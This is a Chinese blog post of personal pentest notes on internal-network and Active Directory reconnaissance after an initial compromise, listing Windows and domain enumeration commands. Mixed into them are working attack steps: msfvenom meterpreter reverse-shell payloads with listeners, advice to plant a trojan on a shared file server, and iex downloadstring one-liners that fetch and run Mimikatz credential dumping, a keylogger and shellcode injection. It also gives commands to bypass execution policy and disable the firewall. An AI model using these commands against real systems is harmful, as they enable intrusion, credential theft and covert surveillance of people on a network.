zoukankan      html  css  js  c++  java
  • 02.内网信息收集

    内网信息收集概述
    本地信息收集
    域环境信息收集


    服务器收集 更要全面一些
    是否要提权


    pc 域用户权限:

    网络的收集
    网段网络中其他主机和设备


    PART 1: 内网信息收集概述

    内网信息收集概述
    当我们渗透进内网环境后,对网络拓扑一无所知,测试人员应先对当前网络环境做出判断。对当前机器角色分析,对机器所处网络环境拓扑结构分析,对机器所处区域分析。
    当前机器角色分析:
    判断当前主机是web服务器/开发测试服务器/公共服务器/文件服务器/代理服务器/dns服务器/还是存储服务器等。具体判断过程可根据主机名,文件,网络链接情况综合完成。
    对机器所出网络环境分析:
    是指对所处内网进行全面数据收集和分析整理,绘制出大致的内网整体结构拓扑。
    对机器所处区域分析:
    判断机器所处于网络拓扑哪个区域,是在dmz/办公区/还是核心区/区域并不是绝对的,所以区域界限也是相对的。

    通过web进入:
    如果通过web进去的服务器里面还有,文件服务器:所有人都得访问这个文件服务器.
    替换掉文件植入马,许多人就会去下载拿到控制权

    如果里面有DNS:
    通过DNS可以看到解析有没有内网的服务器,例如客服管理平台等之类的,域环境也能看到.

    如果搭建了DHCP服务器可以去查看他有哪些网段:
    如果有可以确定他的内网都是通过这台DHCP服务器来分发的,会有多组网段'

    开发测试服务器:
    可以获得测试和开发的产品

    代理服务器:
    可以获取内网个人pc的账号并以登录


    PART 2: 本地信息收集

    本机的信息收集
    本机信息收集包括操作系统、权限、内网IP地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,那么操作系统、应用软件、补丁、服务、杀毒软件一般都是批量安装的。
    手动信息收集
    查询网络配置信息

    inconfig /all
    查询操作系统及软件信息

    systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 查询操作系统和版本信息 英文系统
    systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 查询操作系统和版本信息 中文系统
    echo %PROCESSOR_ARCHITECTURE% 查看系统体系结构
    wmic prouct get name, version 查看安装的软件的版本、路径等
    powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" PowerShell收集软件的版本信息

    权限不同收集的不同:
    普通用户无法获取密码信息/sam没有权限
    客服电脑一般是管理员得提到system权限 用Uac提权


    内网IP地址段:
    服务器:
    ipconfig /all:一般会有多个网卡,有多个网卡就有多个网段
    如何查找内网网段:
    1.用工具扫网段(192.168.0.10/192.168.1.10/192.168.3.10)
    s.exe 基于TCP和SYN扫描 192.168.0.0 192.1168.255.255 445
    如果192.168.10.100 445端口开放, 就证明10网段有主机在使用

    2.文件共享链接记录(ftp链接记录)浏览器访问记录,mstsc3389连接记录
    如果某台内网机器提供文件共享下载,那么垮网段也能访问
    测试方法win+r输入\1 会有历史记录
    测试方法我的电脑ftp 会有历史记录
    远程桌面连接 会有历史记录
    网页就打开浏览器访问历史记录

    3.抓包分析网络流量 混杂模式 wireshark-win32_cn
    用msf 通过meterpreter来建立回弹连接抓取流量,要做转发

    4.黑掉路由器,核心交换机

    当有了其他的网段就可以纵向渗透否则一直都是横向


    看进程:tasklist

    看端口:netstat -an
    看服务:看端口就能看到服务

    看补丁:systeminfo

    看网络连接:netstat -ano

    看共享:net share

    查看计划任务:黑客会定时创建管理员用户名或者执行程序

    查询用户列表
    net user 查看本机用户列表
    net localgroup administrators 获取本地管理员信息
    query user || qwinsta 查看在线用户


    查询本机共享列表
    查看本机共享列表和可访问的域共享列表
    wmic share get name,path,status 查找共享列表
    查看后对相应的文件捆绑paylod做会话连接
    也可以映射远程主机的盘因为默认c,d,e都是默认共享
    映射方法:net use k: \192.168.156.15c$ 登录账号密码就行 条件开445

    查询路由表以及所有可用接口的ARP缓存表:
    route print
    arp -a 内网的通信这里都有记录.这个很重要,内网要通信一定要发一个arp广播
    路由默认0 走的接口网关,去往任何目的 都交给接口网关
    如何看是否被欺骗,看arp缓存表如果出现重复就是被欺骗
    防御方法:绑定mac地址,或者开防火墙,服务器会绑定一般
    题外话,kali可以强制把https的包变成http

    netsh命令可以做端口转发:
    某服务器用公网ip,也可以访问内网.单服务器却在内网,简称站库分离,
    用netsh把公网的3306端口转到内网的3306这样就可以转发了
    百度搜索 netsh 端口转发

    -----------------------------------------------
    wmic service list brief 查询本机服务信息
    查询进程列表
    tasklist 查看当前进程列表和进程用户
    wmic process list brief 查询进程信息
    查看启动程序信息
    wmic startup get command, caption
    查看计划任务
    schtasks /query /fo LIST /v
    查看主机开机时间
    net statistics workstation
    查询用户列表
    net user 查看本机用户列表
    net localgroup administrators 获取本地管理员信息
    query user || qwinsta 查看在线用户
    列出或断开本地计算机与所连接的客户端的对话
    net session
    查询端口列表
    netstat -ano
    查看补丁列表
    systeminfo 查看系统详情
    wmic qfe get Caption,Description,HotFixID,InstalledOn 查看补丁的名称、描述、ID、安装时间等
    查询本机共享列表
    查看本机共享列表和可访问的域共享列表
    wmic share get name,path,status 查找共享列表
    查询路由表以及所有可用接口的ARP缓存表
    route print
    arp -a
    查询防火墙相关配置
    netsh firewall set opmode disable 关闭防火墙(Windows Server 2003 以前的版本)
    netsh advfirewall set allprofiles state off 关闭防火墙(Windows Server 2003 以后的版本)
    netsh firewall show config 查看防火墙配置
    自动信息收集
    为了简化手动信息收集的繁琐步骤,我们可用使用自动化脚本 —— WMIC(Windows Management InstrumentationCommand Line,Windows管理工具命令行)脚本,脚本下载地址,执行该脚本以后,会将信息收集的结果写入HTML文档。
    http://www.fuzzysecurity.com/scripts/files/wmic_info.rar


    PART 3: 域环境信息收集

    查看当前全权限
    whoami 查看当前权限
    whoami /all 获取SID
    net user xxx /domain 查询指定用户的详情信息
    判断是否存在域
    ipcondig /all 可查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处在同一网段等... 然后,通过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址进行对比,判断域控服务器和DNS服务器是否在同一台机器上。
    systeminfo 对比查看"域(域名)"和"登录服务器(域控制器)"的信息是否互相匹配。
    net config workstation 对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配。
    net time /domain 判断主域。


    实战
    可以登录3389选项里有驱动器勾选上就可以拖物理机的资源,弊端就是自己的盘符也会进入目标机,管理员可能会映射
    命令行收集很麻烦而且容易发现,就是msf收集
    制作马
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.182.138 lport=1121 -f exe > xy.exe

    开侦听
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.182.138
    set lport 1121
    run

    把马放进03服务器
    等待回链

    hashdump收集hsx
    进入shell
    看进程,等等都可以
    background挂起
    ----------------------------------------------


    域收集
    把马放进win7点击回链

    对话生成后: //生成对话后可以使用 run winenum 收集命令的信息
    进入shell
    whoami
    查看账号 fanghan域里fh1账号
    ----------------------------------------

    whoami /all
    看权限以及域用户的SID //以后用来做黄金票据和白银票据
    :S-1-5-21-2511895695-3322341454-56546430-1103
    S-1-5-21-2511895695-3322341454-56546430只要1103这一部分
    ---------------------------------------------------------

    net user xxx /domain 查询指定用户的详情信息
    net user fh1 /domain 看得到什么时间创建的以及
    ----------------------------------------------------------

    net user domain 查询域用户
    这条命令是直接上传到域控的
    ---------------------------------------------------------

    net time /domain 判断主域。
    可以看见主域控的地址
    \WIN-9JJK4CNGD41.fanghan.com �ĵ�ǰʱ���� 2020/11/18 2:14:59
    尝试访问
    dir \WIN-9JJK4CNGD41.fanghan.comc$ 访问失败没有权限
    可以用漏洞提权或者身份访问或者白银黄金票据访问

    --------------------------------
    探测域内存活主机
    使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器,使用方法:nbt.exe 192.168.1.1/20, 输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。
    使用ICMP协议快速探测内网
    arp-scan工具 使用方法:arp.exe -t 192.168.1.1/20 //后面讲
    Empire的arpscan模块 //后面讲
    Nishang中的Invoke-ARPScan.ps1脚本 //后面讲

    --------------------
    域内端口扫描
    注意端口banner信息
    探测端口开放的服务
    注意探测端口触发防御系统
    域内存活主机探测
    利用netbios探测内网
    使用工具:nbtscan
    使用方法:
    nbtscan.exe 192.168.0.1-254
    工具地址在:内网安全---NBTSCAN
    上传到目标主机.cmd进入目录
    nbtscan.exe 运行就看到用法了
    例如:
    192.168.8.0/24
    能快快速扫描网络其他主机以及主机名和mac地址用于横向纵向
    ----------------------------

    工具2 s.exe
    工具地址在:密码破解---3389---s.exe
    192.168.8.1 192.168.8.254 445 512 //512是线程
    -----------------

    收集域内基础信息
    net view /domain 查询域
    net view /domain:HACHE 查询域内的所有计算机
    net group /domain 查询域内的所有计算机
    net group "domain computers" /domain 查询所有域成员计算机列表
    net group "domain admins" /domain 查看域管理员
    net accounts /domain 获取域密码信息
    nltest /domain_trusts 获取域信任信息

    域组分析
    *DnsUpdateProxy
    *Domain Admins //2一般这个域管理员算是大的了
    *Domain Computers
    *Domain Controllers
    *Domain Guests
    *Domain Users
    *Enterprise Admins //1限最大,域林管理员组
    *Enterprise Read-only Domain Controllers
    *Group Policy Creator Owners
    *Read-only Domain Controllers
    *Schema Admins
    --------------------------------------------------

    nltest /domain_trusts 获取域信任信息
    可以看到本机和哪些域做了信任关系,跨域会用到 用秘钥伪造可以攻击
    -----------------------------------------------------

    查找域控制器
    nltest /DCLIST:hacke 查看域控制器的机器名
    Nslookup -type=SRV_ldap._tcp 查看域控制器的主机名
    net time /domain 查看当前时间
    net group "Domain Controllers" /domain 查看域控制器组
    netdom query pdc 查看域控制器的机器名
    命令都差不多找一个最简短的记下来
    -------------------------------------------------------

    获取域内的用户和管理员信息
    查询域内用户列表
    net user /domain 向域控制器进行查询
    wmic useraccount get /all 获取域内用户的详细信息
    dsquery user 查看存在的用户
    net localgroup administrators 查询本地管理员用户
    查询域管理员用户组
    net group "domain admins" /domain 查询域管理员用户
    net group "Enterprise admins" /domain 查询管理员用户组
    ---------------------------------------------------------

    定位域管理员
    在域网络攻击测试中,获取域内的一个支点后,需要获取域管理员权限;定位域内管理员的常规渠道,一是日志,二是会话。
    常见域管理员定位工具:
    psloggedon.exe
    PVEFindADUser.exe
    netview.exe
    Nmap的NSE脚本
    PowerView脚本
    Empire的user_hunter模块

    --------------------------------------------------------

    查找域管理进程
    net group "Domain Admins" /domain 获取域管理员列表
    tasklist /v 列出本机的所有进程及进程用户
    net group "Domain Controllers" /domain 查询域控制器列表
    NetSess -h 收集所有活动域的会话列表
    分析域内网段划分情况及拓扑结构
    在掌握了内网的相关信息后, 渗透测试人员可以分析目标网络的结构和安全防御策略,获取网络信息、各部门的IP地址段,绘制内网的拓扑结构图。
    ---------------------------------------------------------------------------

    使用powershell 收集信息 //重点来了
    默认powershell是不能执行脚本的
    获取脚本策略
    get-executionpolicy
    更改执行策略必须以管理员身份执行才可以,否则报错注册表安全问题
    set-executionpolicy unrestricted
    绕过脚本
    -exec bypass
    powershell.exe -Executionpolicy BYpass -file 123.ps1 绕过安全策略直行脚本
    powershell.exe -Executionpolicy BYpass -windowstyle hidden -nologo -nonlnteractive -noprofile -file 123.ps1 本地隐藏绕过权限直行脚本
    cmd下使用powershell
    powershell -exec bypass "import-module c:powershell.ps1;Get-NetUser"
    powersploit 信息收集
    PS C:> import-module .powerview.ps1
    PS C:> Get-NetDomain 获取当前的域名称
    Get-Netuser 返回所有域内成员的详细信息
    Get-NetDomainController 获取所有的域内的控制器信息
    Get-NetComputer 获取所有域内机器的名称
    Get-Netshare 获取域内的所有的网络共享
    Get-NetRDPSESSION 获取指定服务的远程连接信息
    Get-NetProcess 获取进程的详细信息
    Get-ADOPJECT 获取活动目录的信息
    这个命令是用户是否登陆计算机且判断用户是否有管理员权限
    invoke-processhunter

    解析:
    实战用到内网安全工具包--PowerSploit-master
    PowerSploit-master里有很多模块,Recon是收集信息模块
    Recon里有的脚本
    PowerView.ps1//收集域信息
    powershell调用
    import-module .powerview.ps1 //导入默认不能执行
    powershell -exec bypass import-module .powerview.ps1 //导入成功
    /////实战演示失败,,,,
    ---------------------------------------------------------------

    invoke-portscan 用于扫描端口//记得要调用powershell
    iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Recon/Invoke-Portscan.ps1") 下载扫描脚本到服务器
    invoke-portscan -hosts 192.168.3.1,192.168.3.200 -ports "21,22,80"

    invoke-mimikatz 抓密码
    iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
    Invoke-Mimikatz -dumpcreds 导出hash

    get-keystrokes 键盘记录
    iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
    Get-Keystrokes -logpath C:Usersadmin123.txt 记录键盘保存到123.txt里面


    实战:需要把整个PowerSploit-master 重命名PowerSploit并且放到vps上
    http://vps地址/PowerSploit/Recon/Invoke-Portscan.ps1 上传到vps地址并访问成功
    iex(new-object net.webclient).downloadstring("http://vps地址/PowerSploit/Recon/Invoke-Portscan.ps1") //目标机导
    invoke-portscan -hosts 192.168.3.1,192.168.3.200 -ports "21,22,80" 添加端口扫描

    invoke-mimikatz 抓密码
    iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
    Invoke-Mimikatz -dumpcreds 导出hash

    get-keystrokes 键盘记录
    iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
    Get-Keystrokes -logpath C:Usersadmin123.txt 记录键盘保存到123.txt里面

    -----------------
    kali也有powersploit
    powershell启动
    ls查看模块
    cd recon
    ls poweview.ps1
    在生成的会话框里,load powershell 加载
    powershell_import 粘贴poweview.ps1路径
    powershell_exeute get_NetDomain 域哪些
    powershell_exeute get_NetUser 域用户
    powershell_exeute get_NetCompter
    -------------------------------
    工具
    empire
    后面讲
    -----------------------------------------------

    以下内容粘贴复制
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.129 LPORT=1123 -f powershell -o /root/xdx.ps1

    侦听
    use exploit/multi/handler
    set lport 1123
    run

    iex(new-object net.webclient).downloadstring("http://192.168.3.1/xdx.ps1") xdx.ps1 下载生成好的ps脚本

    iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") 下载
    invoke-shellcode.ps1 可以将msf生成是payload进程注入
    Invoke-Shellcode -shellcode $buf -Force 执行进程注入,msf会侦听回来一个回话


    -------------------
    AntivirusBypass 发现杀软特征
    ScriptModification 在目标主机创建或者修改代码
    CodeExecution 在目标主机执行代码
    Persistence 后门脚本持久控制
    Exfiltration 在目标主机进行信息收集
    Recon 以目标主机为跳板进行内网信息侦查
    Mayhem 蓝屏等破坏性脚本
    Privesc 用于提权

  • 相关阅读:
    VMware的安装
    草根创业专题开篇
    转:分布式和集中式版本控制工具svn,git,mercurial
    sql db to sqlite
    简单办公自动化系统开发与思考1
    sql ef datacontext muti thread problem
    谈云计算,服务器运算的惊天骗局
    ios5.1二货,手贱,解决方案
    阿曹的创业点子1人人快递
    创业点子wifi anywhere
  • 原文地址:https://www.cnblogs.com/fanghan/p/13983256.html
Copyright © 2011-2022 走看看